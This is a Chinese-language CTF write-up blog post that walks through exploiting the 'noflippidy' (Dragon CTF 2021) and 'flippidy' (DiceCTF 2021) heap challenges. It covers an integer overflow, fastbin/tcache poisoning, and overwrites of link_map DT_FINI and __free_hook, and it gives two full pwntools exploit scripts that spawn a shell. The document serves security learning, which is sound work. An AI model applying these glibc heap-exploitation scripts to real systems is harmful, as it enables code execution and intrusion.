71's blog

宏願縱未了 奮鬥總不太晚

0%

Dragon ctf 2021 | noflippidy

有趣的整数溢出

noflippidy

amd64-64-little,Full RELRO,Canary found,NX enabled, No PIE (0x400000)

程序一开始 malloc 一个指定 size 的 notebook,然后可以选择两个功能:

  • add:malloc 0x30,写入 0x30 的数据。ptr 放在 notebook 指定 id 的位置。
  • flip:将 notebook 的数据翻转。

这也是dicectf 2021 的原题 flippidy(后面顺便也复现了这个题)。程序在原基础上打了 patch:

1
2
3
4
5
6
7
8
9
10
with open("flippidy", "rb") as f:
x = bytearray(f.read())

patch_off = 0x138d
patch = b'\x85\xc0\x74\x02\xc9\xc3'
for i, v in enumerate(patch):
x[patch_off + i] = v

with open("noflippidy", "wb") as f:
f.write(x)

对应的就是下面这个对 canary 不为 0 的 if 判断,导致 flip 函数无法使用。程序中找不到栈溢出的漏洞,所以这里应该是没办法绕过了。

输入的函数有整型溢出漏洞。有可能实现堆溢出。现在程序只有 add 功能能使用,也就是只能 malloc 和 edit。因此我们需要尽可能地利用堆溢出打 stdout 才能泄露 libc 地址。

但是这里跟常见的整型溢出漏洞不一样。

假设我们通过 int 转 unsigned int 时的溢出,控制 size 为一个很大的数,比如 -1 转成 0xffffff…., 再乘以 8 之后这个数还是太大,不能 malloc。仔细观察会发现 size 和 id 都是 int,加上原本对 size 的大小就没有限制,所以用负数溢出压根没有利用意义。

问题出在 malloc 的参数上,它必须在合法范围内。为了能越界写数据,我们希望 8*size 合法,小于 size 的 id 也要足够大,起码得大于 malloc 的大小。换个思路,利用做乘法运算时的溢出,由于 malloc 之前会执行 shl eax,3,我们使乘以 8 后的数字的低 5 字节有值就行。想要往后修改 libc 的值的话,可使用 mmap 分配,这样分配出来的地址就紧挨着 libc了。如图,虽然分配的是 0x200000 的大小,但输入 id 后是跟 0x60040000 的size比较,相当于后面一大段空间任意写了。

由于这里是溢出写入一个堆地址,不能直接改 IO FILE 结构体。但是我们可以构造 fastbin 链,chunk写到 fastbin 0x40 的位置,在chunk的 next 指针上写 addr,就能实现一次任意地址申请。跟原题相似的思路。由于程序没开启 PIE、有 stdout 地址、menu 字符串的位置有可写权限,所以通过改 menu 为 stdout 地址来输出 _IO_2_1_stdout地址,泄露 libc 。

还是只能写堆地址的问题,这里不能直接改 malloc_hook 或者 exit_hook。所以这里改 link_map,找到 l->l_info[DT_FINI]

的位置,改成 one_gadget,这样执行到 ret <_dl_fini+467> 的时候就返回到 one gadget 了。

参考博客:Dragon CTF 2021 - noflippidy

比赛的时候卡在整数溢出上了,没留意到乘法导致的溢出以及左移三位的操作,测试值一直用的是0x8000000这种低位全0的数据,执行的都是 malloc(0),分配了0x21的chunk。用 0x8000000的时候id 怎么输都不对,现在调了才发现运算的时候用的是有符号数,这个数是-0,怎么算都会有溢出。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import*
context(arch='amd64',log_level='debug')
p=process("./noflippidy")
elf=ELF('./noflippidy')
libc=ELF('./libc.so.6')

ru = lambda s: p.recvuntil(s)
rv = lambda s: p.recv(s)
rl = lambda : p.recvline()
sla = lambda x,y : p.sendlineafter(x,y)
sda = lambda x,y : p.sendafter(x,y)
sl = lambda s: p.sendline(s)
sd = lambda s: p.send(s)
it = lambda : p.interactive()

def menu(num):
sla(': ',str(num))
def add(id,con):
menu(1)
sla('Index: ',str(id))
sla('Content: ',con)

stdout_bss=0x404120

sla('will be: ',str(0x60040000))
add((0x5ecc50/8),p64(0)+p64(0x41)+p64(0x404000))#fastbin->heap->0x404000

add(1,'padding')

add(2,'a'*0x10+p64(stdout_bss))
libcbase=u64(ru('\x7f')[-6:].ljust(8,'\x00'))-0x3ec760
success(hex(libcbase))
libc.address=libcbase
one_gadget=[0x4f3d5,0x4f432,0x10a41c]
og=libcbase+one_gadget[1]

# gdb.attach(p)
success(hex(og))
add((0x81d208)/8,'a'*8+p64(og))#_rtld_global+0x11b8,DT_FINI
menu(3)
it()

flippidy

amd64-64-little,Full RELRO,Canary found,NX enabled,No PIE (0x400000)

用的是没有 tcache double free check 的 2.27 的 libc 版本:( noflippify 给的是有 check 的 1.4 的小版本)

1
2
3
4
5
6
7
8
9
10
$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

除了 noflippidy 中的整数溢出漏洞外,flip 本身也有 double free 的漏洞。这个函数将 notebook 中的内容头尾倒置,以 size/2 为分界线区分前后的位置。因为整除是向下取整的,所以当 size 为奇数,i 为 size/2 时,这个程序算出来的前和后对称的位置有重合,也就是现在头和尾两个指针指向同一个chunk。这里分别对头尾 free 了一遍,我们可以构造 double free。

add 的时候往 notebook 里写chunk指针,flip 的时候 double free 的是 chunk。因此只要提前在 chunk 中布置好目标地址, free 的时候就会把目标地址写入 tcache 链中:

由于现在只有程序本身的地址可利用,有存储 stdout 地址的变量,menu 数组也是以指针的形式存储的,因此可以把 0x404020 这个位置改成 stdout 泄露 IO FILE 结构体的数据。

改完之后发现 tcache 头变成了 menu 里字符串的内容,原因是 next 的位置也存储了下一个字符串的指针,后面的地址空间存了字符串的ascii码。为了后续能申请到 free hook,在改 0x404020的位置的时候,也需要把 0x404040的位置改成目标地址。其次,由于输出menu的时候必定会遍历这里的指针,所以也需要把 0x404028后面的指针改合适。这里我改成了跟原来一样的值。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*
context(arch='amd64',log_level='debug')
p=process(argv=['./flippidy'],env={"LD_PRELOAD" : './libc.so.6'})
elf=ELF('./flippidy')
libc=ELF('./libc.so.6')

ru = lambda s: p.recvuntil(s)
rv = lambda s: p.recv(s)
rl = lambda : p.recvline()
sla = lambda x,y : p.sendlineafter(x,y)
sda = lambda x,y : p.sendafter(x,y)
sl = lambda s: p.sendline(s)
sd = lambda s: p.send(s)
it = lambda : p.interactive()

def menu(num):
sla(':',str(num))
def add(id,con):
sla(':','1')
sla('Index: ',str(id))
sla('Content: ',con)
def flip():
sla(':','2')

stdout_bss=0x404120
menu=0x404020

sla('will be: ',str(7))
add(3,p64(menu))
flip()#tcahce->0x404020->0x404040

add(1,p64(stdout_bss)+ p64(0x404072) + p64(0x4040a4) + p64(0x4040d6) + p64(0x404050))
#tcache->0x404040->0x404050
libcbase=u64(ru('\x7f')[-6:].ljust(8,'\x00'))-0x3ec760
success(hex(libcbase))
one_gadget=[0x4f2c5,0x4f322,0x10a38c]
og=libcbase+one_gadget[1]
freehook=libcbase+libc.sym['__free_hook']

add(1,'a'*16+p64(freehook))#tcache->0x404050->freehook
# gdb.attach(p)
add(1,'aaaa')#0x404050

add(2,p64(og))#freehook
flip()
success(hex(og))

it()